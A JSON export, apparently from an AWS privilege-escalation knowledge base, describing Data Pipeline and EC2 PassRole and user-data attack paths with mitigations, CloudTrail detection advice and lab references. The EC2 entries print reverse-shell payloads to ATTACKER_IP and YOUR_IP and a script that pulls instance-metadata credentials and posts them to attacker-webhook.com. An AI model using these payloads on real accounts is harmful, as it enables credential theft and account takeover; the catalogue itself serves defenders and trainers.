    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/cognitoidentity/cognitoidentity-001.yaml"
  },
  {
    "id": "datapipeline-001",
    "name": "iam:PassRole + datapipeline:CreatePipeline + datapipeline:PutPipelineDefinition + datapipeline:ActivatePipeline",
    "category": "new-passrole",
    "services": [
      "iam",
      "datapipeline"
    ],
    "description": "A principal with `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, and `datapipeline:ActivatePipeline` can create a new Data Pipeline that executes arbitrary code with the permissions of a passed IAM role. Data Pipeline can run shell commands on EC2 instances or EMR clusters, allowing privilege escalation. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts datapipeline.amazonaws.com or elasticmapreduce.amazonaws.com",
        "The role must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A role must exist that trusts datapipeline.amazonaws.com or elasticmapreduce.amazonaws.com"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws datapipeline create-pipeline --name privesc-pipeline --unique-id privesc-$(date +%s)\n",
          "description": "Create a new Data Pipeline"
        },
        {
          "step": 2,
          "command": "aws datapipeline put-pipeline-definition --pipeline-id PIPELINE_ID \\\n  --pipeline-definition file://malicious-pipeline.json\n",
          "description": "Define a pipeline that runs arbitrary shell commands with the privileged role"
        },
        {
          "step": 3,
          "command": "aws datapipeline activate-pipeline --pipeline-id PIPELINE_ID",
          "description": "Activate the pipeline to execute the malicious code"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Data Pipeline need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificDataPipelineRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": [\"datapipeline.amazonaws.com\", \"elasticmapreduce.amazonaws.com\"]\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Data Pipeline creation followed by immediate activation\n- Monitor CloudTrail for pipeline creation by principals who do not usually create pipelines\n- Monitor CloudTrail for roles being passed to Data Pipeline that haven't been used before\n- Monitor and alert on Data Pipeline creation with privileged roles\n- Regularly audit Data Pipelines for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Data Pipeline service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackingTheCloud - PassRole + DataPipeline Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition"
      },
      {
        "title": "IAM Vulnerable - DataPipeline PassRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - Datapipeline Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/index.html#iampassrole-datapipelinecreatepipeline-datapipelineputpipelinedefinition-datapipelineactivatepipeline"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "lambda-001"
    ],
    "learningEnvironments": {
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "DataPipeline-PassExistingRoleToNewDataPipeline",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "datapipeline:CreatePipeline",
          "resourceConstraints": "Must have permission to create Data Pipeline pipelines"
        },
        {
          "permission": "datapipeline:PutPipelineDefinition",
          "resourceConstraints": "Must have permission to define pipeline activities"
        },
        {
          "permission": "datapipeline:ActivatePipeline",
          "resourceConstraints": "Must have permission to activate pipelines"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L191",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L154"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, and `datapipeline:ActivatePipeline` permissions. This principal will create a Data Pipeline with a privileged role attached and activate it to execute arbitrary code with elevated privileges.\n"
        },
        {
          "id": "data_pipeline",
          "label": "New Data Pipeline",
          "type": "resource",
          "description": "The newly created Data Pipeline with a malicious pipeline definition. Data Pipeline can execute shell commands on EC2 instances or EMR clusters as part of pipeline activities. The pipeline is configured to run arbitrary commands with the permissions of the passed IAM role.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the datapipeline or elasticmapreduce Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Data Pipeline during creation. This role must trust datapipeline.amazonaws.com or elasticmapreduce.amazonaws.com as a principal in its trust policy. When the pipeline executes, shell commands run with this role's permissions on the underlying compute resources (EC2 or EMR).\n"
        },
        {
          "id": "exfiltrate",
          "label": "Execute shell commands",
          "type": "payload",
          "color": "#99ccff",
          "description": "The Data Pipeline executes with the target role's permissions. The pipeline definition includes shell commands that can retrieve temporary credentials from the instance metadata service, perform privileged API calls, or exfiltrate data. Common actions include creating access keys for the starting principal, attaching admin policies, or sending credentials to an attacker-controlled server.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by using the credentials or executing privileged commands through the Data Pipeline.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB) or permissions that enable additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions, the privilege escalation may not provide meaningful additional access to the attacker. The Data Pipeline can still execute but with limited capabilities.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "data_pipeline",
          "label": "iam:PassRole + datapipeline:CreatePipeline + datapipeline:PutPipelineDefinition",
          "description": "The attacker creates a new Data Pipeline and passes a privileged role to it. The pipeline definition includes malicious shell commands that will execute when the pipeline is activated.\n\nCommands:\n```bash\naws datapipeline create-pipeline \\\n  --name privesc-pipeline \\\n  --unique-id privesc-$(date +%s)\n```\n\nThen define the pipeline with a malicious configuration:\n```bash\naws datapipeline put-pipeline-definition \\\n  --pipeline-id PIPELINE_ID \\\n  --pipeline-definition file://malicious-pipeline.json\n```\n\nThe malicious-pipeline.json contains ShellCommandActivity objects with commands to exfiltrate credentials or perform privileged actions.\n"
        },
        {
          "from": "data_pipeline",
          "to": "target_role",
          "label": "Pipeline assumes role",
          "description": "When the Data Pipeline is activated, it launches EC2 instances or EMR clusters that automatically assume the target role. The shell commands defined in the pipeline execute with the permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "exfiltrate",
          "label": "datapipeline:ActivatePipeline",
          "description": "The attacker activates the Data Pipeline, which executes the malicious shell commands with the target role's permissions. The commands can retrieve credentials from the instance metadata service or directly perform privileged API calls.\n\nCommand:\n```bash\naws datapipeline activate-pipeline \\\n  --pipeline-id PIPELINE_ID\n```\n\nThe pipeline executes on the underlying compute resources (EC2 or EMR) with the target role's credentials available via the instance metadata service.\n"
        },
        {
          "from": "exfiltrate",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the attacker gains full control over the AWS account. The shell commands can create access keys, attach admin policies, or exfiltrate credentials for direct use.\n"
        },
        {
          "from": "exfiltrate",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This might include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables) or permissions that enable additional privilege escalation techniques.\n"
        },
        {
          "from": "exfiltrate",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions, the privilege escalation may not yield meaningful additional access. However, even limited access could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/datapipeline/datapipeline-001.yaml"
  },
  {
    "id": "ec2-001",
    "name": "iam:PassRole + ec2:RunInstances",
    "category": "new-passrole",
    "services": [
      "iam",
      "ec2"
    ],
    "description": "A principal with `iam:PassRole` and `ec2:RunInstances` permissions can launch a new EC2 instance and attach an existing IAM Role to it. By accessing this new instance (e.g., via User Data or SSM), the attacker can obtain the credentials of the passed role. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts ec2.amazonaws.com to assume it",
        "The role must have an instance profile associated with it",
        "The role must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A role must exist that trusts ec2.amazonaws.com to assume it",
        "The role must have an instance profile associated with it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws ec2 run-instances --image-id ami-12345678 --instance-type t2.micro --iam-instance-profile Arn=\"arn:aws:iam::ACCOUNT_ID:instance-profile/PRIVILEGED_ROLE\" --user-data file://exploit.sh",
          "description": "Launch EC2 instance with privileged role and user data script to exfiltrate credentials"
        },
        {
          "step": 2,
          "command": "# User data script executes on boot and sends credentials to attacker-controlled server",
          "description": "Retrieve the temporary credentials from the attacker's server"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run ec2__startup_shell_script --instance-profile PRIVILEGED_ROLE --script exploit.sh",
          "description": "Use Pacu to launch EC2 instance with the target role and execute a shell script on startup"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an EC2 instance need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificEC2Role\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ec2.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual EC2 instance creation followed by immediate access\n- Monitor CloudTrail for EC2 instance launches by principals who do not usually create instances\n- Monitor CloudTrail for roles being passed to EC2 that haven't been used before\n- Monitor and alert on EC2 instance creation with privileged roles\n- Regularly audit EC2 instances for excessive IAM permissions\n- Regularly audit all IAM roles that trust the EC2 service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackingTheCloud - PassRole + EC2 RunInstances Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances"
      },
      {
        "title": "IAM Vulnerable - CreateEC2WithExistingIP",
        "url": "https://github.com/BishopFox/iam-vulnerable/blob/main/modules/free-resources/privesc-paths/privesc3-CreateEC2WithExistingIP.tf"
      },
      {
        "title": "HackTricks - AWS - EC2 Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#iampassrole-ec2runinstances"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 03",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 2",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-2"
      }
    ],
    "relatedPaths": [
      "lambda-001",
      "cloudformation-001"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/ec2_edges.py#L73-L127",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L600",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L128",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L77"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ec2-runinstances",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "EC2-CreateInstanceWithExistingProfile",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "iam_privesc_by_attachment",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS privilege escalation through instance profile manipulation"
      },
      "pwnedlabs": {
        "type": "closed-source",
        "description": "Hosted cloud security labs with AWS privilege escalation scenarios",
        "scenario": "https://labs.pwnedlabs.io/command-injection-to-ec2-user-data-privilege-escalation",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and ec2:RunInstances permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "ec2_instance",
          "label": "New EC2 Instance",
          "type": "resource",
          "description": "New EC2 instance launched with a privileged IAM instance profile. The instance automatically assumes the attached role. The attacker can access this instance through multiple methods including User Data scripts, SSM Session Manager, or SSH.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the EC2 Service",
          "type": "principal",
          "description": "IAM role attached to the EC2 instance via instance profile. The role must trust ec2.amazonaws.com and have an instance profile associated with it. Credentials are available via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/\n"
        },
        {
          "id": "method_userdata_direct",
          "label": "Method 1: User Data Script (Direct Elevation)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure a User Data script that executes when the instance boots and directly elevates the starting principal by modifying IAM permissions. The script runs with the target role's credentials and can perform privileged IAM actions such as:\n- Attaching AdministratorAccess policy to the starting principal (iam:AttachUserPolicy)\n- Creating new access keys for privileged users (iam:CreateAccessKey)\n- Adding the starting principal to an admin IAM group (iam:AddUserToGroup)\n- Modifying inline policies to grant elevated permissions (iam:PutUserPolicy)\n\nExample User Data script that directly elevates starting principal:\n```bash\n#!/bin/bash\naws iam attach-user-policy \\\n  --user-name starting-user \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThis approach is the most straightforward - the User Data script directly modifies IAM to grant the starting principal elevated permissions using the target role's credentials.\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 2: User Data Script (Reverse Shell)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure a User Data script that establishes a reverse shell connection back to an attacker-controlled listener. The reverse shell provides interactive access to the EC2 instance, allowing the attacker to manually retrieve the target role's temporary credentials from the instance metadata service.\n\nExample User Data script that establishes reverse shell:\n```bash\n#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n```\n\nOnce the reverse shell is established, the attacker can:\n1. Query the instance metadata service: `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME`\n2. Extract temporary credentials (AccessKeyId, SecretAccessKey, SessionToken)\n3. Configure these credentials locally: `aws configure set` or environment variables\n4. Use the credentials to perform actions as the target role\n\nThe reverse shell approach requires the attacker to maintain a listener (e.g., `nc -lvnp 4444`) but provides interactive access and flexibility for manual reconnaissance and exploitation.\n"
        },
        {
          "id": "method_credential_exfil",
          "label": "Method 3: User Data Script (Credential Exfiltration)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure a User Data script that queries the instance metadata service for the target role's temporary credentials and exfiltrates them to an attacker-controlled webhook or remote listener. Unlike the reverse shell approach (which provides interactive access), this method is fire-and-forget - the script automatically retrieves and sends credentials without requiring ongoing attacker interaction.\n\nExample User Data script that exfiltrates credentials:\n```bash\n#!/bin/bash\nROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)\nCREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)\ncurl -X POST -d \"$CREDS\" https://attacker-webhook.com/collect\n```\n\nThe script automatically:\n1. Queries the metadata service to discover the attached role name\n2. Retrieves the full credential set (AccessKeyId, SecretAccessKey, SessionToken)\n3. Sends the credentials to an attacker-controlled endpoint (webhook, HTTP server, etc.)\n\nThe attacker receives the credentials remotely and can then configure them locally to authenticate as the target role. This approach is stealthier than reverse shell (no inbound connections to EC2 instance) and doesn't require maintaining a listener throughout the attack.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions (but not full admin). Using any of the three exploitation methods, the attacker can leverage these permissions for data exfiltration (S3, RDS, DynamoDB), modification of security configurations, or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role only has minimal permissions (like logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides minimal value.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ec2_instance",
          "label": "iam:PassRole + ec2:RunInstances",
          "description": "Launch a new EC2 instance and pass the target role to it via the --iam-instance-profile parameter. Include a User Data script that will execute on instance boot to exfiltrate credentials or establish access.\n\nCommand:\n```bash\naws ec2 run-instances \\\n  --image-id ami-12345678 \\\n  --instance-type t2.micro \\\n  --iam-instance-profile Arn=\"arn:aws:iam::ACCOUNT_ID:instance-profile/PRIVILEGED_ROLE\" \\\n  --user-data file://exploit.sh\n```\n"
        },
        {
          "from": "ec2_instance",
          "to": "target_role",
          "label": "Instance assumes role",
          "description": "The EC2 instance automatically assumes the attached IAM role. Credentials become available via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/\n"
        },
        {
          "from": "target_role",
          "to": "method_userdata_direct",
          "label": "Option A",
          "description": "Configure the EC2 instance with a User Data script that directly modifies IAM to elevate the starting principal's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "method_reverse_shell",
          "label": "Option B",
          "description": "Configure the EC2 instance with a User Data script that establishes a reverse shell connection back to an attacker-controlled listener.\n"
        },
        {
          "from": "target_role",
          "to": "method_credential_exfil",
          "label": "Option C",
          "description": "Configure the EC2 instance with a User Data script that exfiltrates the target role's temporary credentials to an attacker-controlled webhook or remote listener.\n"
        },
        {
          "from": "method_userdata_direct",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "The User Data script executes with AdministratorAccess permissions and successfully grants the starting principal full administrative access (e.g., via iam:AttachUserPolicy).\n"
        },
        {
          "from": "method_userdata_direct",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "The User Data script executes with elevated permissions and can modify IAM to grant the starting principal additional access within those permissions.\n"
        },
        {
          "from": "method_userdata_direct",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "The User Data script has minimal permissions and cannot effectively elevate the starting principal's privileges.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "The reverse shell provides access to credentials with AdministratorAccess permissions. The attacker can exfiltrate these credentials and use them to gain full administrative access to the AWS account.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "The reverse shell provides access to credentials with elevated permissions. The attacker can exfiltrate these credentials for data access or additional privilege escalation attempts.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "The reverse shell provides access to credentials with minimal permissions, offering limited value for privilege escalation.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "The User Data script successfully exfiltrates credentials with AdministratorAccess permissions. The attacker configures these credentials locally and gains full administrative access.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "The User Data script exfiltrates credentials with elevated permissions that can be used for data exfiltration or further privilege escalation.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "The exfiltrated credentials have minimal permissions and provide limited value for privilege escalation.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "ec2:RunInstances",
          "resourceConstraints": "Must have permission to launch EC2 instances"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ec2/ec2-001.yaml"
  },
  {
    "id": "ec2-002",
    "name": "ec2:ModifyInstanceAttribute + ec2:StopInstances + ec2:StartInstances",
    "category": "existing-passrole",
    "services": [
      "ec2"
    ],
    "description": "An attacker with the permissions to modify an EC2 instance's attributes, stop it, and start it can gain full control over the instance. The `ec2:ModifyInstanceAttribute` permission can be used to change an instance's userData, which is a script that normally runs on the initial boot. However with a specially crafted payload, a modified userData script can be coerced to run on subsequent restarts. To modify the userData of a running instance, it must first be stopped. The attacker can inject a malicious script (e.g., for a reverse shell) into the userData, and then start the instance to trigger its execution. This provides the attacker with code execution on the machine, allowing them to steal the credentials of any attached IAM role.",
    "prerequisites": {
      "admin": [
        "EC2 instance must have an instance profile attached to an IAM role",
        "Target EC2 instance must have a role with administrative permissions attached"
      ],
      "lateral": [
        "EC2 instance must have an instance profile attached to an IAM role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Create malicious user data with cloud-init configuration\nTEXT='Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1\n--//'\nTEXT_PATH=\"/tmp/text.b64.txt\"\nprintf \"%s\" \"$TEXT\" | base64 > \"$TEXT_PATH\"\n",
          "description": "Create base64-encoded malicious user data with reverse shell payload"
        },
        {
          "step": 2,
          "command": "aws ec2 stop-instances --instance-ids $INSTANCE_ID",
          "description": "Stop the target EC2 instance"
        },
        {
          "step": 3,
          "command": "aws ec2 modify-instance-attribute --instance-id \"$INSTANCE_ID\" --attribute userData --value \"file://$TEXT_PATH\"",
          "description": "Modify the user data with the malicious script"
        },
        {
          "step": 4,
          "command": "aws ec2 start-instances --instance-ids $INSTANCE_ID",
          "description": "Start the instance to trigger execution of the malicious user data"
        }
      ]
    },
    "recommendation": "The combination of `ec2:ModifyInstanceAttribute`, `ec2:StopInstances`, and `ec2:StartInstances` is highly sensitive. IAM policies should avoid granting these permissions together, especially with wildcard resources. If necessary, use the Resource element in IAM policies to strictly limit these actions to a specific, intended set of instances. Monitor CloudTrail logs for this sequence of API calls.\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Daniel Grzelak",
        "date": 2016,
        "link": "https://github.com/dagrz/aws_pwn/blob/master/elevation/bouncy_bouncy_cloudy_cloud.py"
      }
    },
    "references": [
      {
        "title": "Bishop Fox Blog - Privilege Escalation in AWS",
        "url": "https://bishopfox.com/blog/privilege-escalation-in-aws"
      },
      {
        "title": "HackTricks - AWS - EC2 Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2modifyinstanceattribute"
      }
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L86",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L168"
    },
    "permissions": {
      "required": [
        {
          "permission": "ec2:ModifyInstanceAttribute",
          "resourceConstraints": "Target EC2 instance must be in the Resource section"
        },
        {
          "permission": "ec2:StopInstances",
          "resourceConstraints": "Target EC2 instance must be in the Resource section"
        },
        {
          "permission": "ec2:StartInstances",
          "resourceConstraints": "Target EC2 instance must be in the Resource section"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with ec2:ModifyInstanceAttribute, ec2:StopInstances, and ec2:StartInstances permissions. Can be an IAM user or role. This principal will modify an existing EC2 instance's user data to inject a malicious script.\n"
        },
        {
          "id": "target_instance",
          "label": "Existing EC2 Instance",
          "type": "resource",
          "description": "An existing EC2 instance that has an IAM role attached via an instance profile. The attacker will modify this instance's user data to inject a malicious script that executes on the next boot.\n"
        },
        {
          "id": "attached_role",
          "label": "Existing Role That Trusts the ec2 Service",
          "type": "principal",
